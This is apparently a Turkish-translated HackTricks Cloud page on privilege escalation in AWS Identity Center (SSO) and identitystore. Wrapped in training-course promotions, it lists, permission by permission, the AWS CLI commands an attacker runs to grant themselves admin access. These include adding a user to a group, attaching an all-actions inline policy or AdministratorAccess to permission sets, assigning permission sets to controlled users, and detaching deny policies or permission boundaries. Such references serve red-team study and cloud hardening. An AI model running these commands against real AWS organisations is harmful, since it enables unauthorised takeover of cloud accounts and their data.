AWS - SSO & identitystore Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
AWS Identity Center / AWS SSO
AWS Identity Center / AWS SSO hakkında daha fazla bilgi için bakınız:
AWS - IAM, Identity Center & SSO Enum
Warning
Varsayılan olarak, yalnızca Management Account’tan izinlere sahip kullanıcılar IAM Identity Center’a erişip kontrol edebilecektir.
Diğer hesaplardaki kullanıcılar bunu yalnızca hesap Delegated Adminstrator. ise yapabilir.
Check the docs for more info.
Reset Password
Bu tür durumlarda kolay bir şekilde escalate privileges elde etmenin yolu, kullanıcı şifrelerini sıfırlamaya izin veren bir izne sahip olmaktır. Ne yazık ki, şifre sıfırlama için yalnızca kullanıcıya bir e-posta göndermek mümkün olduğundan, kullanıcının e-postasına erişiminiz olması gerekir.
identitystore:CreateGroupMembership
Bu izin ile bir kullanıcıyı bir gruba eklemek mümkün olur; böylece kullanıcı grup tarafından sahip olunan tüm izinleri devralır.
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet
Bu izne sahip bir saldırgan, kontrolündeki bir kullanıcıya verilen bir Permission Set’e ek izinler verebilir
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet
Bu izne sahip bir saldırgan, kendisinin kontrolü altındaki bir kullanıcıya atanan bir Permission Set’e ek izinler verebilir.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet
Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcıya verilen bir Permission Set’e ekstra izinler verebilir.
Warning
Bu izinleri bu durumda kötüye kullanmak için etkilenecek hesapların TAMAMINDA bulunan bir customer managed policy’nin adını bilmeniz gerekir.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:CreateAccountAssignment
Bu izne sahip bir saldırgan, kontrolündeki bir kullanıcıya bir hesap için Permission Set atayabilir.
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
sso:GetRoleCredentials
Kullanıcıya atanmış belirli bir rol adı için STS kısa süreli kimlik bilgilerini döndürür.
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
Ancak, nasıl elde edileceğini bilmediğim bir access token’a ihtiyacınız var (TODO).
sso:DetachManagedPolicyFromPermissionSet
Bu izne sahip bir saldırgan, belirtilen permission set ile bir AWS managed policy arasındaki ilişkiyi kaldırabilir. Daha fazla yetki, detaching a managed policy (deny policy) yoluyla verilebilir.
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
sso:DetachCustomerManagedPolicyReferenceFromPermissionSet
Bu izne sahip bir saldırgan, belirtilen permission set ile bir Customer managed policy arasındaki ilişkiyi kaldırabilir. Daha fazla ayrıcalık detaching a managed policy (deny policy) yoluyla verilebilir.
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
sso:DeleteInlinePolicyFromPermissionSet
Bu izne sahip bir saldırgan, permission set içindeki bir inline policy’den izinleri kaldırabilir. Bir inline policy’yi (deny policy) ayırarak daha fazla ayrıcalık sağlanabilir.
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
sso:DeletePermissionBoundaryFromPermissionSet
Bu izne sahip bir saldırgan, Permission Boundary’i Permission Set’ten kaldırabilir. Permission Boundary tarafından verilen Permission Set üzerindeki kısıtlamaları kaldırarak daha fazla ayrıcalık verilebilir.
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

